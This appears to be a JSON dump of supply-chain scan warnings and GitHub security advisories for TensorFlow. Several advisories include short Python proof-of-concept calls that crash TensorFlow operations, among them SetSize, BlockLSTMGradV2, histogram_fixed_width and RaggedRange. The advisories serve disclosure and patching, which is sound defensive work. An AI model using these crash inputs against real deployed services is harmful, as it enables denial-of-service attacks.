tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010:36","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010-multipython:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010-multipython:36","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu18.04-manylinux2010-multipython:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu18.04-manylinux2010-multipython:36","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.2-cudnn7-ubuntu18.04-manylinux2010-multipython:11: pin your Docker image by updating gcr.io/tensorflow-testing/nosla-cuda10.0-cudnn7-ubuntu16.04-manylinux2010 to gcr.io/tensorflow-testing/nosla-cuda10.0-cudnn7-ubuntu16.04-manylinux2010@sha256:6a5d4699391340f889c645e9f922c0dee980f426cc5ffd92fe4cc19e288a0a33","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.0-cudnn8-ubuntu18.04-manylinux2010-multipython:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.0-cudnn8-ubuntu18.04-manylinux2010-multipython:38","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.2-cudnn8.1-ubuntu20.04-manylinux2014-multipython:14","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.2-cudnn8.1-ubuntu20.04-manylinux2014-multipython:41","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.gpu:1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.rocm-ubuntu18.04-manylinux2010-multipython:10: pin your Docker image by updating ubuntu:18.04 to ubuntu:18.04@sha256:152dc042452c496007f07ca9127571cb9c29697f42acbfad72324b2bb2e43c98","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.rocm-ubuntu20.04-manylinux2014-multipython:10: pin your Docker image by updating ubuntu:20.04 to ubuntu:20.04@sha256:8feb4d8ca5354def3d8fce243717141ce31e2c428701f6682bd2fafe15388214","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.ubuntu16.04-manylinux2010:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.ubuntu16.04-manylinux2010:40: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rocm:3: pin your Docker image by updating ubuntu:focal to ubuntu:focal@sha256:8feb4d8ca5354def3d8fce243717141ce31e2c428701f6682bd2fafe15388214","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/linux/mkl/Dockerfile.devel-mkl:4","Warn: pipCommand not pinned by hash: ci/devinfra/docker/windows/Dockerfile:104-105","Warn: pipCommand not pinned by hash: tensorflow/lite/tools/pip_package/Dockerfile.py3:55","Warn: pipCommand not pinned by hash: tensorflow/lite/tools/pip_package/Dockerfile.py3:56","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:26","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:27","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:28","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:29","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:30","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:31","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16:78","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.0:78","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.1:80","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda11.2:80","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.debian.bullseye.cpu:23","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.micro:22","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.micro:24","Warn: downloadThenRun not pinned by hash: tensorflow/tools/tf_sig_build_dockerfiles/Dockerfile:45","Warn: downloadThenRun not pinned by hash: ci/official/containers/ml_build/setup.python.sh:67","Warn: downloadThenRun not pinned by hash: ci/official/containers/ml_build_arm64/setup.python.sh:96","Warn: pipCommand not pinned by hash: ci/official/utilities/setup_macos.sh:121","Warn: goCommand not pinned by hash: tensorflow/go/genop/generate.sh:19","Warn: goCommand not pinned by hash: tensorflow/go/genop/generate.sh:20","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/docker_cpu_pip.sh:22","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/nightly_release_smoke_test.sh:45","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/nightly_release_smoke_test.sh:99","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/pip_new.sh:764","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/pip_new.sh:765","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_auditwheel.sh:19","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_auditwheel.sh:23","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:20","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:23","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:28","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:31","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:35","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:39","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:43","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:47","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:51","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:55","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:58","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:61","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:64","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:68","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:73","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:77","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:81","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:87","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:91","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:95","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:97","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:99","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:103","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:105","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pi_python3.9_toolchain.sh:25","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:29","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:33","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:35","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:38","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:39","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:42","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:45","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:48","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:51","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:54","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:63","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:65","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:68","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:70","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:73","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:76","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:77","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:82","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:85","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:87","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:90","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:93","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:94","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:95","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:98","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:99","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:102","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:105","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:108","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:112","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:113","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_python3.6_pip_packages.sh:50","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_python3.6_pip_packages.sh:54","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_python3.6_pip_packages.sh:56","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_python3.6_pip_packages.sh:61","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_python3.6_pip_packages.sh:62","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_python3.6_pip_packages.sh:65","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_python3.6_pip_packages.sh:75","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_python3.6_pip_packages.sh:77","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_python3.6_pip_packages.sh:79","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_python3.6_pip_packages.sh:82","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_python3.6_pip_packages.sh:84","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_python3.6_pip_packages.sh:86","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_python3.6_pip_packages.sh:89","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_python3.6_pip_packages.sh:91","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_python3.6_pip_packages.sh:93","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_python3.6_pip_packages.sh:95","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_python3.6_pip_packages.sh:98","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_python3.6_pip_packages.sh:99","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_python3.6_pip_packages.sh:100","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_python3.6_pip_packages.sh:102","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_python3.6_pip_packages.sh:105","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_python3.6_pip_packages.sh:108","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/linux/cmake/run.sh:44","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/linux/gpu/run_mkl.sh:34","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/linux/gpu/run_mkl.sh:35","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/linux/mkl/install_openmpi_horovod.sh:101","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/linux/mkl/install_openmpi_horovod.sh:104","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/rel/ubuntu/cpu_arm64_test_build.sh:58","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/release/common.sh:220","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/release/common.sh:250","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/windows/bazel/cpu_win_test.sh:130","Warn: pipCommand not pinned by hash: tensorflow/tools/tf_sig_build_dockerfiles/setup.python.sh:60","Warn: pipCommand not pinned by hash: tensorflow/tools/tf_sig_build_dockerfiles/setup.python.sh:61","Warn: pipCommand not pinned by hash: tensorflow/tools/tf_sig_build_dockerfiles/setup.python.sh:64","Warn: downloadThenRun not pinned by hash: third_party/xla/build_tools/sycl/install_oneapi.sh:27","Warn: pipCommand not pinned by hash: third_party/xla/xla/backends/cpu/benchmarks/e2e/gemma2/flax_2b/setup.sh:31","Warn: pipCommand not pinned by hash: third_party/xla/xla/backends/cpu/benchmarks/e2e/gemma2/keras/setup.sh:25","Warn: pipCommand not pinned by hash: third_party/xla/xla/backends/cpu/benchmarks/e2e/gemma2/pytorch_2b/setup.sh:32","Warn: pipCommand not pinned by hash: .github/workflows/pylint-presubmit.yml:46","Warn: pipCommand not pinned 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vulnerable to `CHECK` fail in `SetSize`","description":"### Impact\nWhen `SetSize` receives an input `set_shape` that is not a 1D tensor, it gives a `CHECK` fails that can be used to trigger a denial of service attack.\n```python\nimport tensorflow as tf\narg_0=1\narg_1=[1,1]\narg_2=1\narg_3=True\narg_4=''\ntf.raw_ops.SetSize(set_indices=arg_0, set_values=arg_1, set_shape=arg_2,\n                   validate_indices=arg_3, name=arg_4)\n```\n\n### Patches\nWe have patched the issue in GitHub commit [cf70b79d2662c0d3c6af74583641e345fc939467](https://github.com/tensorflow/tensorflow/commit/cf70b79d2662c0d3c6af74583641e345fc939467).\n\nThe fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.\n\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n\n### Attribution\nThis vulnerability has been reported by 刘力源, Information System \u0026 Security and Countermeasures Experiments Center, Beijing Institute of Technology.\n","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2022-09-16T22:14:09.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-wq6q-6m32-9rv9","https://github.com/tensorflow/tensorflow/commit/cf70b79d2662c0d3c6af74583641e345fc939467","https://github.com/tensorflow/tensorflow/releases/tag/v2.10.0","https://nvd.nist.gov/vuln/detail/CVE-2022-35993","https://github.com/advisories/GHSA-wq6q-6m32-9rv9"],"source_kind":"github","identifiers":["GHSA-wq6q-6m32-9rv9","CVE-2022-35993"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:11:58.077Z","updated_at":"2023-01-28T05:03:11.000Z","epss_percentage":0.00202,"epss_percentile":0.42687},{"uuid":"GSA_kwCzR0hTQS1mN3I1LXE3Y3gtaDY2OM4AAu2k","url":"https://github.com/advisories/GHSA-f7r5-q7cx-h668","title":"TensorFlow vulnerable to segfault in `BlockLSTMGradV2`","description":"### Impact\nThe implementation of `BlockLSTMGradV2` does not fully validate its inputs.\n - `wci`, `wcf`, `wco`, `b` must be rank 1\n - `w`, cs_prev`, `h_prev` must be rank 2\n - `x` must be rank 3\nThis results in a a segfault that can be used to trigger a denial of service attack.\n```python\nimport tensorflow as tf\n\nuse_peephole = False\nseq_len_max = tf.constant(1, shape=[], dtype=tf.int64)\nx = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)\ncs_prev = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)\nh_prev = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)\nw = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)\nwci = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)\nwcf = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)\nwco = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)\nb = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)\ni = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)\ncs = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)\nf = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)\no = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)\nci = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)\nco = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)\nh = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)\ncs_grad = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)\nh_grad = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)\ntf.raw_ops.BlockLSTMGradV2(seq_len_max=seq_len_max, x=x, cs_prev=cs_prev, h_prev=h_prev, w=w, wci=wci, wcf=wcf, wco=wco, b=b, i=i, cs=cs, f=f, o=o, ci=ci, co=co, h=h, cs_grad=cs_grad, h_grad=h_grad, use_peephole=use_peephole)\n```\n\n### Patches\nWe have patched the issue in GitHub commit [2a458fc4866505be27c62f81474ecb2b870498fa](https://github.com/tensorflow/tensorflow/commit/2a458fc4866505be27c62f81474ecb2b870498fa).\n\nThe fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.\n\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n\n### Attribution\nThis vulnerability has been reported by Neophytos Christou, Secure Systems Labs, Brown University.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2022-09-16T22:14:00.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-f7r5-q7cx-h668","https://github.com/tensorflow/tensorflow/commit/2a458fc4866505be27c62f81474ecb2b870498fa","https://github.com/tensorflow/tensorflow/releases/tag/v2.10.0","https://nvd.nist.gov/vuln/detail/CVE-2022-35964","https://github.com/advisories/GHSA-f7r5-q7cx-h668"],"source_kind":"github","identifiers":["GHSA-f7r5-q7cx-h668","CVE-2022-35964"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:11:58.086Z","updated_at":"2023-01-28T05:03:11.000Z","epss_percentage":0.00112,"epss_percentile":0.30439},{"uuid":"GSA_kwCzR0hTQS14cnAyLWZocTQtNHEzd84AArBX","url":"https://github.com/advisories/GHSA-xrp2-fhq4-4q3w","title":"Segfault if `tf.histogram_fixed_width` is called with NaN values in TensorFlow","description":"### Impact\nThe implementation of [`tf.histogram_fixed_width`](https://github.com/tensorflow/tensorflow/blob/f3b9bf4c3c0597563b289c0512e98d4ce81f886e/tensorflow/core/kernels/histogram_op.cc) is vulnerable to a crash when the values array contain `NaN` elements:\n\n```python\nimport tensorflow as tf\nimport numpy as np\n\ntf.histogram_fixed_width(values=np.nan, value_range=[1,2])\n```\n\nThe [implementation](https://github.com/tensorflow/tensorflow/blob/f3b9bf4c3c0597563b289c0512e98d4ce81f886e/tensorflow/core/kernels/histogram_op.cc#L35-L74) assumes that all floating point operations are defined and then converts a floating point result to an integer index:\n\n```cc\nindex_to_bin.device(d) =\n    ((values.cwiseMax(value_range(0)) - values.constant(value_range(0)))\n         .template cast\u003cdouble\u003e() /\n     step)\n        .cwiseMin(nbins_minus_1)\n        .template cast\u003cint32\u003e();\n```\n\nIf `values` contains `NaN` then the result of the division is still `NaN` and the cast to `int32` would result in a crash.\n\nThis only occurs on the CPU implementation.\n\n### Patches\nWe have patched the issue in GitHub commit [e57fd691c7b0fd00ea3bfe43444f30c1969748b5](https://github.com/tensorflow/tensorflow/commit/e57fd691c7b0fd00ea3bfe43444f30c1969748b5).\n\nThe fix will be included in TensorFlow 2.9.0. We will also cherrypick this commit on TensorFlow 2.8.1, TensorFlow 2.7.2, and TensorFlow 2.6.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported externally via a [GitHub issue](https://github.com/tensorflow/tensorflow/issues/45770).","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2022-05-24T22:15:45.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-xrp2-fhq4-4q3w","https://nvd.nist.gov/vuln/detail/CVE-2022-29211","https://github.com/tensorflow/tensorflow/issues/45770","https://github.com/tensorflow/tensorflow/commit/e57fd691c7b0fd00ea3bfe43444f30c1969748b5","https://github.com/tensorflow/tensorflow/blob/f3b9bf4c3c0597563b289c0512e98d4ce81f886e/tensorflow/core/kernels/histogram_op.cc","https://github.com/tensorflow/tensorflow/blob/f3b9bf4c3c0597563b289c0512e98d4ce81f886e/tensorflow/core/kernels/histogram_op.cc#L35-L74","https://github.com/tensorflow/tensorflow/releases/tag/v2.6.4","https://github.com/tensorflow/tensorflow/releases/tag/v2.7.2","https://github.com/tensorflow/tensorflow/releases/tag/v2.8.1","https://github.com/tensorflow/tensorflow/releases/tag/v2.9.0","https://github.com/advisories/GHSA-xrp2-fhq4-4q3w"],"source_kind":"github","identifiers":["GHSA-xrp2-fhq4-4q3w","CVE-2022-29211"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003e= 2.7.0, \u003c 2.7.2"},{"first_patched_version":"2.6.4","vulnerable_version_range":"\u003c 2.6.4"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003e= 2.7.0, \u003c 2.7.2"},{"first_patched_version":"2.6.4","vulnerable_version_range":"\u003c 2.6.4"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003e= 2.7.0, \u003c 2.7.2"},{"first_patched_version":"2.6.4","vulnerable_version_range":"\u003c 2.6.4"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:12:23.536Z","updated_at":"2023-01-30T05:05:50.000Z","epss_percentage":0.0008,"epss_percentile":0.24453},{"uuid":"GSA_kwCzR0hTQS14OTg5LXEycHEtNHE1eM4AAu2h","url":"https://github.com/advisories/GHSA-x989-q2pq-4q5x","title":"TensorFlow vulnerable to Int overflow in `RaggedRangeOp`","description":"### Impact\nThe [`RaggedRangOp`](https://github.com/tensorflow/tensorflow/blob/0b6b491d21d6a4eb5fbab1cca565bc1e94ca9543/tensorflow/core/kernels/ragged_range_op.cc#L74-L88) function takes an argument `limits` that is eventually used to construct a `TensorShape` as an `int64`. If `limits` is a very large float, it can overflow when converted to an `int64`. This triggers an `InvalidArgument` but also throws an abort signal that crashes the program.\n```python\nimport tensorflow as tf\ntf.raw_ops.RaggedRange(starts=[1.1,0.1],limits=[10.0,1e20],deltas=[1,1])\n```\n\n### Patches\nWe have patched the issue in GitHub commit [37cefa91bee4eace55715eeef43720b958a01192](https://github.com/tensorflow/tensorflow/commit/37cefa91bee4eace55715eeef43720b958a01192).\n\nThe fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.\n\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n\n### Attribution\nThis vulnerability has been reported by Jingyi Shi.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2022-09-16T22:12:41.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-x989-q2pq-4q5x","https://github.com/tensorflow/tensorflow/commit/37cefa91bee4eace55715eeef43720b958a01192","https://github.com/tensorflow/tensorflow/blob/0b6b491d21d6a4eb5fbab1cca565bc1e94ca9543/tensorflow/core/kernels/ragged_range_op.cc#L74-L88","https://github.com/tensorflow/tensorflow/releases/tag/v2.10.0","https://nvd.nist.gov/vuln/detail/CVE-2022-35940","https://github.com/advisories/GHSA-x989-q2pq-4q5x"],"source_kind":"github","identifiers":["GHSA-x989-q2pq-4q5x","CVE-2022-35940"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, 